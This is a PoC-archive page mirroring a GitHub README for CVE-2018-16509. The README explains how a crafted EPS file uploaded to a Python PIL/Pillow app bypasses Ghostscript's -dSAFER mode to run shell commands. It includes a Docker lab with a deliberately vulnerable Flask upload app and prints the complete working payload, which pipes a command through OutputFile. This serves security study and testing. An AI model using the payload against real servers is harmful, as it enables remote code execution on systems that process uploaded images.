Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2018-16509 PoC — Artifex Ghostscript 安全漏洞

Source
Associated Vulnerability
Title:Artifex Ghostscript 安全漏洞 (CVE-2018-16509)
Description:An issue was discovered in Artifex Ghostscript before 9.24. Incorrect "restoration of privilege" checking during handling of /invalidaccess exceptions could be used by attackers able to supply crafted PostScript to execute code using the "pipe" instruction.
Description
PoC + Docker Environment for Python PIL/Pillow Remote Shell Command Execution via Ghostscript CVE-2018-16509
Readme
# Python PIL/Pillow Remote Shell Command Execution via Ghostscript CVE-2018-16509

Inspired by [https://github.com/ysrc/PIL-RCE-By-GhostButt](https://github.com/ysrc/PIL-RCE-By-GhostButt) (PIL/Pillow RCE via CVE-2017-8291). This docker environment version is using the newer version of Ghostscript (v9.23) and newer exploit (CVE-2018-16509).

Ghostscript is a suite of software based on an interpreter for Adobe Systems PostScript and Portable Document Format (PDF) page description languages. Somehow, Ghostscript is exist in the production server (e.g. `/usr/local/bin/gs`) even when no application use it directly because Ghostscript is installed as dependency of another software (e.g. ImageMagick). Bunch of vulnerabilities were found in Ghostscript; one of them is CVE-2018-16509 (discovered by Tavis Ormandy from Google Project Zero), a vulnerability that allows exploitation of -dSAFER bypass in Ghostscript before v9.24 to execute arbitrary commands by handling a failed restore (grestore) in PostScript to disable LockSafetyParams and avoid invalidaccess. This vulnerability is reachable via libraries such as ImageMagick or image library in the programming language with Ghotscript wrapper (PIL/Pillow in this example).

## Installation

For testing and proof of concept, we can try the exploit in a docker environemnt.

Install the docker/docker-compose on Ubuntu:

```bash
# Install pip
curl -s https://bootstrap.pypa.io/get-pip.py | python

# Install the latest version docker
curl -s https://get.docker.com/ | sh

# Run docker service
service docker start

# Install docker compose
pip install docker-compose
```

The installation steps of docker and docker-compose for others operating system might be slightly different, please refer to the [docker documentation](https://docs.docker.com/) for details.

## Run Environment

```bash
# Clone the repository
git clone https://github.com/farisv/PIL-RCE-Ghostscript-CVE-2018-16509.git

# Enter the directory of repository
cd PIL-RCE-Ghostscript-CVE-2018-16509

# Compile environment
docker-compose build

# Run environment
docker-compose up -d
```

The vulnerable Flask app can be accessed in http://127.0.0.1:8000. You can stop the environment after the test.

```
docker-compose down -v
```

## Exploit

You can upload [rce.jpg](https://github.com/farisv/PIL-RCE-Ghostscript-CVE-2018-16509/blob/master/rce.jpg) (a specially-crafted EPS image, not a real JPG) to execute `touch /tmp/got_rce` in the server. For proof, you can execute `docker exec [CONTAINER_ID] ls -alt /tmp`. To get `CONTAINER_ID`, you can check with `docker container ls`. To change the shell execution to other commands, you can change `touch /tmp/got_rce` directly in the `rce.jpg`.

## Analysis

You can refer to the explanation of vulnerability by Tavis Ormandy in [oss-security](https://seclists.org/oss-sec/2018/q3/142).

You can check the source code Ghostscript wrapper of PIL/Pillow in [EPSImagePlugin.py](https://github.com/python-pillow/Pillow/blob/0adeb82e9886cdedb3917e8ddfaf46f69556a991/src/PIL/EpsImagePlugin.py).

This is the vulnerable code of `app.py`:

```python
@app.route('/', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        file = request.files.get('image', None)

        if not file:
            flash('No image found')
            return redirect(request.url)

        filename = file.filename
        ext = path.splitext(filename)[1]

        if (ext not in ['.jpg', '.jpeg', '.png', '.gif', '.bmp']):
            flash('Invalid extension')
            return redirect(request.url)

        tmp = tempfile.mktemp("test")
        img_path = "{}.{}".format(tmp, ext)

        file.save(img_path)

        img = Image.open(img_path)
        w, h = img.size
        ratio = 256.0 / max(w, h)

        resized_img = img.resize((int(w * ratio), int(h * ratio)))
        resized_img.save(img_path)
```

Content of uploaded file will be loaded by `img = Image.open(img_path)`. PIL will automatically detect if the image is an EPS image (example: add `%!PS-Adobe-3.0 EPSF-3.0` at the beginning of file) and will call _open() in `EpsImageFile` class in `EPSImagePlugin.py`. To avoid `raise IOError("cannot determine EPS bounding box")`, a bounding box need to be added in the file (example: `%%BoundingBox: -0 -0 100 100`).

The body of EPS image will be processed by Ghostscript binary with `subprocess` as we can see in `EPSImagePlugin.py` in `Ghostscript` function.

```python
    # Build Ghostscript command
    command = ["gs",
               "-q",                         # quiet mode
               "-g%dx%d" % size,             # set output geometry (pixels)
               "-r%fx%f" % res,              # set input DPI (dots per inch)
               "-dBATCH",                    # exit after processing
               "-dNOPAUSE",                  # don't pause between pages
               "-dSAFER",                    # safe mode
               "-sDEVICE=ppmraw",            # ppm driver
               "-sOutputFile=%s" % outfile,  # output file
               "-c", "%d %d translate" % (-bbox[0], -bbox[1]),
                                             # adjust for image origin
               "-f", infile,                 # input file
               "-c", "showpage",             # showpage (see: https://bugs.ghostscript.com/show_bug.cgi?id=698272)
               ]


    ....

    try:
        with open(os.devnull, 'w+b') as devnull:
            startupinfo = None
            if sys.platform.startswith('win'):
                startupinfo = subprocess.STARTUPINFO()
                startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
            subprocess.check_call(command, stdin=devnull, stdout=devnull,
                                  startupinfo=startupinfo)
```

The code above is called when `load` is called in [Image.py](https://github.com/python-pillow/Pillow/blob/0adeb82e9886cdedb3917e8ddfaf46f69556a991/src/PIL/Image.py) so only open the image will not trigger the vulnerability. Function like `resize`, `crop`, `rotate`, and `save` will call `load` and trigger the vulnerability.

Combined with POC from Tavis Ormandy, we can craft `rce.jpg` for remote shell command execution.

```
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100

userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%touch /tmp/got_rce) currentdevice putdeviceprops
```
File Snapshot

[4.0K] /data/pocs/0132a3ee679422d70e4b5e5d4343eeb8592c4c26 ├── [1.8K] app.py ├── [ 68] docker-compose.yml ├── [ 243] Dockerfile ├── [1.0K] LICENSE ├── [ 241] rce.jpg └── [6.3K] README.md 0 directories, 6 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →